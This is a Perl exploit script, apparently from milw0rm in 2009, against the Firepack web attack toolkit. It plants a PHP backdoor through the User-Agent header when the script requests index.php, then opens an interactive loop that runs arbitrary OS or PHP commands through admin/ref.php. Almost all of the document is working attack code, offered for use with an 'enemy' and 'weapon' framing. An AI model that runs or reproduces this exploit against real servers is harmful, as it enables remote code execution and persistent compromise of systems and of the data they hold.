Firepack - '/admin/ref.php' Remote Code Execution

#!/usr/bin/perl
#
# Firepack - Remote Command\Code Execution Exploit
#
# Firepack is a web atting toolkit often used in 2008, when the most
# versions of it were published. A short time ago i looked though the
# sourcecode and noticed that Vulnerability which can be used
# if the admin doesn't use a .htaccess protection in his admin area.
# WARNING: When accessing the index.php, malware could be executed
# so i recommend to execute it in a virtual environment.
# Username and password are located in config.php in the main folder

print("
################################################

Firepack - Remote Command/Code Execution Exploit

Date:                        17.02.2009
Vulnerability discovered by: Lidloses_Auge
Exploit coded by:            Lidloses_Auge
Greetz to:                   -=Player=- , Suicide,
                             g4ms3, enco, Palme, GPM, 
                             karamble, Free-Hack

################################################

Use:

1) Your enemy

	URL (e.g. http://localhost/FirePack/)
	
2) Weapons

	1 = Remote Command Execution (OS Commands)
	2 = Remote Code Execution (PHP Commands)

################################################

Select the enemy now:

\t");
$enemy = <STDIN>;
$enemy = substr($enemy,0,length($enemy)-1);
print "\nChoose your weapon!\n\n\t";
$choice = <STDIN>;
$choice = substr($choice,0,length($choice)-1);

if ($choice == 1 | $choice == 2) {
	print "\n>>> Entering the ship!";
	use LWP::Simple;
	use LWP::UserAgent;
	my $ua = LWP::UserAgent->new;
	$param[0] = "cmd";
	$param[1] = "code";
	$param[2] = "system";
	$param[3] = "eval";
	$code = "<?php if(isset(\$_GET['$param[$choice-1]'])){echo 'fp_$param[$choice-1]1';$param[$choice+1](\$_GET['$param[$choice-1]']);echo 'fp_$param[$choice-1]2';die;} ?>";
	$ua->agent($code);
	$req = HTTP::Request->new(GET => $enemy."index.php");
	$req->header('Accept' => 'text/html');
	$res = $ua->request($req);
	if (!($res->is_success)) {
		print "\nFailed! Wrong enemy dude?\n";
	} else {
		print "\nWelcome aboard, warrior! Try some commands ('quit' to exit):";
		$splitlen = length("fp_".$param[$choice-1])+1;
		$key = "fp_".$param[$choice-1];
		while (substr($cmd,0,length($cmd)-1) ne "quit") {
			print "\n\n>Do: ";
			$cmd = <STDIN>;
			if (substr($cmd,0,length($cmd)-1) ne "quit") {
				$src = get($enemy."admin/ref.php?$param[$choice-1]=$cmd");
				print "\n".substr($src,index($src,$key."1")+$splitlen,index($src,$key."2")-index($src,$key."1")-$splitlen);
			}
		}
	}
} else {
	print "\nWanna fight without weapon? No way dude!";
}

# milw0rm.com [2009-02-18]